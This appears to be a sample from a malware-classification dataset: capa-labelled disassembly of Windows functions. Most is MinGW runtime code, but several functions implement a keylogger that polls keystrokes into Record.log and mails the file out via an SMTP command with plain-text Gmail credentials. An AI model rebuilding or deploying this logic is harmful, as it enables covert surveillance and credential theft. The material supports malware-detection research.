joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404eb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x0040f624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x405038
mov rax, qword [0x0040f628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x404efc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x404f85
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x404ee0
mov rcx, rbx
call fcn.00405b50
test rax, rax
mov r12, rax
je 0x40506d
mov rax, qword [0x0040f628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.00405c80
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0040f628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x405050
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x404f7e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x404fe0
add dword [0x0040f624], 1
cmp edi, 8
jae 0x404fb3
test dil, 4
jne 0x405024
test edi, edi
je 0x404fa8
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x40503f
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x404fa8
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x404fcc
jmp 0x404fa8
add rsi, qword [0x0040f628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x404f7e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.0040aeb0
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x404fa8
xor esi, esi
jmp 0x404f07
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x404fa8
mov rax, qword [0x0040f628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.0040aeb0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.0040aeb0
nop
nop dword [rax]

Function at 0x4057c0
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0040f900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0040f8e0]
test rbx, rbx
je 0x405814
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40580b
test rsi, rsi
je 0x40580b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4057f0
lea rcx, [0x0040f900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x405b50
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x0040cb20]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x405bbd
mov rcx, r8
call fcn.00405a30
test eax, eax
je 0x405bbd
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x405bbd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x405bb4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x405bbf
add rax, 0x28
cmp rax, r9
jne 0x405ba0
xor eax, eax
add rsp, 0x28
ret

Function at 0x406910
Capabilities:
Allocate thread local storage

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [0x0040b2f8], eax
je 0x40692a
add rsp, 0x28
ret
call sub.msvcrt.dll_abort
nop

Function at 0x406e30
Capabilities:
Print debug messages

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x90
test rcx, rcx
mov rbx, rcx
je 0x406e53
call fcn.00409b70
cmp eax, 1
je 0x406e5e
mov qword [rbx], 0xffffffffffffffff
add rsp, 0x90
pop rbx
pop rsi
pop rdi
ret
lea rdi, [rsp + 0x20]
xor eax, eax
mov ecx, 0xa
lea rsi, str.Error_cleaning_up_spin_keys_for_thread
rep movsd dword [rdi], dword [rsi]
lea rdi, [rsp + 0x48]
mov ecx, 0x43
rep stosb byte [rdi], al
lea rbx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rbx + 0x27]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x406ed5
mov eax, 0x28
jmp 0x406eba
add rax, 1
cmp rax, 0x6b
je 0x406ec7
cmp byte [rbx + rax], 0
mov edx, eax
jne 0x406eb0
cmp eax, 0x6a
jne 0x406eda
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov edx, 0x27
movsxd rax, edx
mov byte [rsp + rax + 0x20], 0xa
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rax + 0x20], 0
jmp 0x406ec7
Function at 0x406f80
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
cmp dword [0x0040f9e0], 1
je 0x406f96
call fcn.00406ef0
mov ecx, dword [0x0040b2f8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
mov rbx, rax
je 0x406fc0
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call fcn.00406d70
cmp qword [0x00411050], 0
mov rsi, rax
je 0x406faa
test rax, rax
je 0x406faa
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
mov dword [rsi + 0x70], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea rcx, [rsi + 0x68]
mov qword [rsi + 0x38], 0xffffffffffffffff
mov qword [rsi + 0x30], rax
call fcn.00406e30
mov rbx, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsi + 0xb8], 0
mov qword [rsi + 0x28], 0
call rbx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdi, rax
call rbx
mov dword [rsp + 0x30], 2
mov r8, rbp
mov rdx, rdi
mov dword [rsp + 0x28], 0
lea r9, [rsi + 0x28]
mov rcx, rax
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x4070b0
mov rcx, qword [rsi + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rdx, rsi
mov ecx, dword [0x0040b2f8]
mov dword [rsi + 0xbc], 0
mov dword [rsi + 0xc0], eax
movzx eax, byte [rsi + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rsi + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x4070b0
mov rbx, rsi
mov rax, rbx
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call sub.msvcrt.dll_abort
nop
nop word cs:[rax + rax]

Function at 0x40aeb0
Capabilities:
Write file on windows

Disassembly:
lea rcx, [0x00401540]
jmp 0x401510
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.004061d0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.004061d0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x401530
Function at 0x4015c0
Capabilities:
Delete file
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call fcn.0040f840
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
call fcn.004016a9
mov dword [0x004a8038], eax
call fcn.0040184e
test al, al
je 0x40164b
mov dword [rbp - 4], 1
jmp 0x401645
mov eax, dword [rbp - 4]
imul eax, eax, 0x2bf20
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rcx, str.ping_www.google.com__n_1
call sub.msvcrt.dll_system
test eax, eax
sete al
test al, al
je 0x401641
call fcn.00401963
mov ecx, 0xea60
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rcx, str.Record.log
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
jmp 0x40164b
add dword [rbp - 4], 1
cmp dword [rbp - 4], 2
jle 0x4015f3
call fcn.004016a9
mov dword [0x004a8038], eax
mov eax, dword [0x004a8038]
cmp eax, 5
jg 0x401666
call fcn.00401992
call fcn.00401af5
mov byte [rbp - 5], al
mov eax, dword [0x004a8038]
cmp eax, 5
jg 0x401680
call fcn.00401a19
jmp 0x40168e
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call fcn.00401af5
mov byte [rbp - 5], al
cmp byte [rbp - 5], 0x30
je 0x4016a7
movsx eax, byte [rbp - 5]
mov ecx, eax
call fcn.00401c8d
jmp 0x40166e

Function at 0x401963
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
lea rax, str.Transmit_smtp:__smtp.gmail.com:587__v___mail_from__bdsastp2018_gmail.com____mail_rcpt__bdsastp2018_gmail.com____ssl__u_bdsastp2018_gmail.com:bdsastp2018__T__Record.log___k___anyauth
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x401992
Capabilities:
Get session user name

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
lea rdx, [0x00489027]
lea rcx, str.Record.log
call sub.msvcrt.dll_fopen
mov qword [rbp - 8], rax
mov dword [rbp - 0x24], 0x14
lea rdx, [rbp - 0x24]
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
mov ecx, 0
call sub.msvcrt.dll__time64
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x30]
mov rcx, rax
call sub.msvcrt.dll_ctime
mov rcx, rax
lea rdx, [rbp - 0x20]
mov rax, qword [rbp - 8]
mov r9, rcx
mov r8, rdx
lea rdx, str.0_n_s___s_t
mov rcx, rax
call fcn.00401578
mov rax, qword [rbp - 8]
mov rcx, rax
call sub.msvcrt.dll_fclose
nop
add rsp, 0x50
pop rbp
ret
Function at 0x401a19
Capabilities:
Log keystrokes via polling

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov word [rbp - 2], 0
mov word [rbp - 4], 0
mov word [rbp - 6], 0
jmp 0x401ae4
mov word [rbp - 2], 1
jmp 0x401acd
mov word [rbp - 4], 0
jmp 0x401ab8
movzx eax, word [rbp - 2]
mov ecx, eax
mov rax, qword [sym.imp.USER32.dll_GetAsyncKeyState]
call rax
cmp ax, 0x8001
sete al
test al, al
je 0x401aa2
lea rdx, [0x00489027]
lea rcx, str.Record.log
call sub.msvcrt.dll_fopen
mov qword [rbp - 0x10], rax
movzx edx, word [rbp - 2]
mov rax, qword [rbp - 0x10]
mov r8d, edx
lea rdx, [0x00489029]
mov rcx, rax
call fcn.00401578
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sub.msvcrt.dll_fclose
movzx eax, word [rbp - 4]
add eax, 1
mov word [rbp - 4], ax
movzx eax, word [rbp - 2]
add eax, 1
mov word [rbp - 2], ax
cmp word [rbp - 4], 0x31
jbe 0x401a4b
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
cmp word [rbp - 2], 0xf9
jbe 0x401a43
movzx eax, word [rbp - 6]
add eax, 1
mov word [rbp - 6], ax
cmp word [rbp - 6], 0x18
jbe 0x401a38
add rsp, 0x30
pop rbp
ret

Function at 0x401af5
Capabilities:
Get disk information

Disassembly:
push rbp
push rbx
sub rsp, 0x158
lea rbp, [rsp + 0x80]
mov byte [rbp + 0xcf], 0x30
lea rax, [rbp - 0x60]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
call rax
mov dword [rbp + 0xc4], eax
lea rax, [rbp + 0xc3]
mov rcx, rax
call fcn.00449e50
lea rdx, [rbp + 0xc3]
lea rax, [rbp + 0xb0]
mov r8, rdx
lea rdx, [0x004890f0]
mov rcx, rax
call fcn.00452f70
lea rax, [rbp + 0xc3]
mov rcx, rax
call fcn.00449e80
mov dword [rbp + 0xc8], 0
jmp 0x401c07
mov eax, dword [rbp + 0xc8]
cdqe
movzx eax, byte [rbp + rax - 0x60]
cmp al, 0x40
jle 0x401c00
mov eax, dword [rbp + 0xc8]
cdqe
movzx eax, byte [rbp + rax - 0x60]
cmp al, 0x59
jg 0x401c00
mov eax, dword [rbp + 0xc8]
cdqe
movzx eax, byte [rbp + rax - 0x60]
movsx edx, al
lea rax, [rbp + 0xb0]
mov r8d, edx
mov edx, 1
mov rcx, rax
call fcn.00452150
mov eax, dword [rbp + 0xc8]
cdqe
movzx eax, byte [rbp + rax - 0x60]
movsx eax, al
mov r8d, 0
mov edx, eax
lea rcx, [0x004a8030]
call fcn.00429d20
cmp rax, 0x64
seta al
test al, al
je 0x401c00
mov eax, dword [rbp + 0xc8]
cdqe
movzx eax, byte [rbp + rax - 0x60]
mov byte [rbp + 0xcf], al
add dword [rbp + 0xc8], 1
mov eax, dword [rbp + 0xc8]
cmp eax, dword [rbp + 0xc4]
jb 0x401b75
lea rax, [rbp + 0xb0]
mov rdx, rax
lea rcx, [0x004a8030]
call fcn.00453590
movzx ebx, byte [rbp + 0xcf]
lea rax, [rbp + 0xb0]
mov rcx, rax
call fcn.004534e0
mov eax, ebx
jmp 0x401c83
add rsp, 0x158
pop rbx
pop rbp
ret
Function at 0x40eec0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x004a8064]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x40efda
mov rax, qword [0x004a8068]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x40ef0e
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x40efc0
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x40eef2
mov rcx, rbx
call fcn.0040fd00
test rax, rax
mov r12, rax
je 0x40f012
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x004a8068]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call fcn.0040fe20
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x004a8068]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x40eff5
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x40efb9
sub eax, 0x40
and eax, 0xffffffbf
je 0x40efb9
mov r9, rbp
add r9, qword [0x004a8068]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x40efe1
add dword [0x004a8064], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp sub.msvcrt.dll_memcpy
xor ebp, ebp
jmp 0x40ef1b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.0040ee50
mov rax, qword [0x004a8068]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbp + 8]
call fcn.0040ee50
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.0040ee50
nop
nop word cs:[rax + rax]

Function at 0x40fc10
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x40fc51
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x40fc48
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x40fc53
add rax, 0x28
cmp rax, r9
jne 0x40fc34
xor eax, eax
repz ret

Function at 0x40fd00
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x0048dc40]
cmp word [rbx], 0x5a4d
je 0x40fd20
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call fcn.0040fbd0
test eax, eax
je 0x40fd14
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.0040fc10
Function at 0x40ff70
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x004a89c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004a89a0]
test rbx, rbx
je 0x40ffc4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40ffbb
test rsi, rsi
je 0x40ffbb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x40ffa0
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x004a89c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax

Function at 0x410760
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x80]
mov rdi, rcx
movsxd r12, edx
mov r13, r8
call sub.msvcrt.dll_strlen
mov rsi, rax
lea ebx, [rax + 0xf]
lea eax, [rax + 0x52]
cdqe
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.004106a0
sub rsp, rax
movsxd r14, esi
movabs rax, 0x656d68732d636367
lea r15, [rsp + 0x20]
lea rcx, [rsp + 0x2f]
mov r8, r14
mov rdx, rdi
mov qword [rsp + 0x20], rax
mov eax, 0x326d
mov dword [rsp + 0x28], 0x64742d6d
mov word [rsp + 0x2c], ax
movsxd rbx, ebx
mov byte [rsp + 0x2e], 0x2d
call sub.msvcrt.dll_memcpy
lea rax, [r15 + r14 + 0x10]
lea r14d, [rsi + 0x50]
movabs rdx, 0x6161616161616161
xor ecx, ecx
mov r8, r15
mov qword [rax], rdx
mov qword [rax + 8], rdx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rdx
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rdx
mov qword [rax + 0x30], rdx
mov qword [rax + 0x38], rdx
movsxd rax, r14d
xor edx, edx
mov byte [rsp + rax + 0x20], 0
mov byte [rsp + rbx + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [rsp + rbx + 0x20], 0x2d
mov rdi, rax
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x410849
int3
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x4108e8
mov rcx, r12
call sub.msvcrt.dll_malloc
lea r9d, [rsi + 0x10]
mov rbx, rax
mov r10d, 0x40
bt rbx, r10
jae 0x410884
mov r11d, r14d
sub r11d, r10d
movsxd r11, r11d
mov byte [r15 + r11], 0x41
sub r10d, 1
jne 0x410870
mov dword [rbp - 0x54], r9d
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
mov r9d, dword [rbp - 0x54]
je 0x4108e5
lea r8d, [rsi + 0x51]
movzx ecx, ax
mov rdx, r15
call fcn.004106e0
cmp rax, rbx
mov rsi, rax
je 0x410900
mov rcx, rbx
call fcn.0041e588
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
lea rsp, [rbp - 0x48]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
lea r9d, [rsi + 0x10]
lea r8d, [rsi + 0x51]
movzx ecx, ax
mov rdx, r15
call fcn.004106e0
mov rsi, rax
jmp 0x4108bf
xor edx, edx
mov r8, r12
mov rcx, rbx
call sub.msvcrt.dll_memset
test r13, r13
je 0x4108bf
mov rcx, rbx
call r13
jmp 0x4108bf
Function at 0x415740
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
test rdx, rdx
mov rsi, rcx
mov r12, rdx
mov edi, r8d
je 0x415762
mov qword [r12], rcx
cmp edi, 0x24
ja 0x415843
cmp edi, 1
jne 0x415779
jmp 0x415843
add rsi, 1
movsx ecx, byte [rsi]
mov ebx, ecx
call sub.msvcrt.dll_isspace
test eax, eax
jne 0x415775
lea edx, [rbx - 0x2b]
mov rcx, rsi
mov eax, ebx
and edx, 0xfd
jne 0x41579f
movzx eax, byte [rcx + 1]
add rsi, 1
test edi, edi
jne 0x4158d5
cmp al, 0x30
mov dil, 0xa
je 0x415930
movsx r15d, al
lea edx, [r15 - 0x30]
cmp edx, 9
ja 0x4158b0
movsx r15d, al
sub r15d, 0x30
cmp edi, r15d
jle 0x415955
mov eax, r15d
shr eax, 0x1f
test al, al
jne 0x415955
lea r14, [rsi + 1]
movsxd r15, r15d
xor r13d, r13d
movsxd rsi, edi
nop
movsx ebp, byte [r14]
lea r9d, [rbp - 0x30]
cmp r9d, 9
mov ecx, r9d
jbe 0x415864
mov ecx, ebp
call sub.msvcrt.dll_isupper
test eax, eax
lea ecx, [rbp - 0x37]
jne 0x415864
mov ecx, ebp
call sub.msvcrt.dll_islower
test eax, eax
jne 0x415861
test r12, r12
je 0x415823
mov qword [r12], r14
test r13d, r13d
jne 0x415900
xor edx, edx
cmp bl, 0x2d
sete dl
mov rax, rdx
neg rax
xor r15, rax
lea rax, [r15 + rdx]
jmp 0x415850
call sub.msvcrt.dll__errno
mov dword [rax], 0x21
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
lea ecx, [rbp - 0x57]
cmp edi, ecx
jle 0x41581a
test ecx, ecx
js 0x41581a
xor edx, edx
mov rax, 0xffffffffffffffff
div rsi
add rax, 1
cmp r15, rax
ja 0x4158a0
mov rax, r15
movsxd rcx, ecx
imul rax, rsi
add rcx, rax
cmp r15, rcx
ja 0x4158a0
mov r15, rcx
add r14, 1
jmp 0x4157f0
mov r13d, 1
jmp 0x415896
mov ecx, r15d
call sub.msvcrt.dll_isupper
test eax, eax
jne 0x415920
mov ecx, r15d
call sub.msvcrt.dll_islower
mov edx, eax
xor eax, eax
test edx, edx
je 0x415850
sub r15d, 0x57
jmp 0x4157cb
cmp edi, 0x10
jne 0x4157b2
cmp al, 0x30
jne 0x4157b2
movzx eax, byte [rsi + 1]
and eax, 0xffffffdf
cmp al, 0x58
je 0x415943
mov eax, 0x30
jmp 0x4157c3
call sub.msvcrt.dll__errno
mov dword [rax], 0x22
mov rax, 0xffffffffffffffff
jmp 0x415850
sub r15d, 0x37
jmp 0x4157cb
movzx edx, byte [rsi + 1]
mov dil, 8
and edx, 0xffffffdf
cmp dl, 0x58
jne 0x4157b2
movzx eax, byte [rsi + 2]
mov edi, 0x10
add rsi, 2
jmp 0x4157b2
xor eax, eax
jmp 0x415850
Function at 0x41f380
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [0x004a9508]
test rbx, rbx
je 0x41f3b0
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [0x004a9508]
test rax, rax
je 0x41f3d4
cmp dword [rax], 0xffffffff
je 0x41f3f5
add rsp, 0x20
pop rbx
ret
lea r8, [0x0041e810]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.00424560
mov rbx, rax
mov qword [0x004a9508], rax
jmp 0x41f391
lea r8, [0x0041e810]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.00424560
mov qword [0x004a9508], rax
jmp 0x41f3a5
call sub.msvcrt.dll_abort
nop
nop dword [rax + rax]

Function at 0x41f890
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rcx, qword [0x004a9510]
test rcx, rcx
je 0x41f9d0
call fcn.0041f800
mov rax, qword [0x004a9508]
test rax, rax
je 0x41f9f3
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x41f8d3
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
ret
call fcn.0041f1d0
test rax, rax
mov rbx, rax
je 0x41fa3b
cmp qword [0x004ac050], 0
je 0x41fa3b
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov edx, 1
mov dword [rbx + 0x68], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rsi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], 0xffffffffffffffff
mov qword [rbx + 0x60], 0xffffffffffffffff
mov dword [rbx + 0xb0], 0
mov qword [rbx + 0x28], 0
call rsi
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rdi, rax
call rsi
mov dword [rsp + 0x30], 2
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
lea r9, [rbx + 0x28]
mov r8, rbp
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x41fa42
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [rbx + 0xb8], eax
movzx eax, byte [rbx + 0x40]
mov dword [rbx + 0xb4], 0
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
mov rax, qword [0x004a9508]
test rax, rax
je 0x41fa17
mov rdx, rbx
mov ecx, dword [rax]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x41fa42
mov rax, rbx
jmp 0x41f8ca
lea rcx, str._pthread_tls_once_shmem
xor r8d, r8d
mov edx, 4
call fcn.00424560
mov rcx, rax
mov qword [0x004a9510], rax
jmp 0x41f8a8
lea r8, [0x0041e810]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.00424560
mov qword [0x004a9508], rax
jmp 0x41f8bd
lea r8, [0x0041e810]
lea rcx, str._pthread_tls_shmem
mov edx, 4
call fcn.00424560
mov qword [0x004a9508], rax
jmp 0x41f9b8
xor eax, eax
jmp 0x41f8ca
call sub.msvcrt.dll_abort
nop
nop dword [rax + rax]
lea rcx, str._pthread_key_dest_shmem
xor r8d, r8d
mov edx, 8
jmp fcn.00424560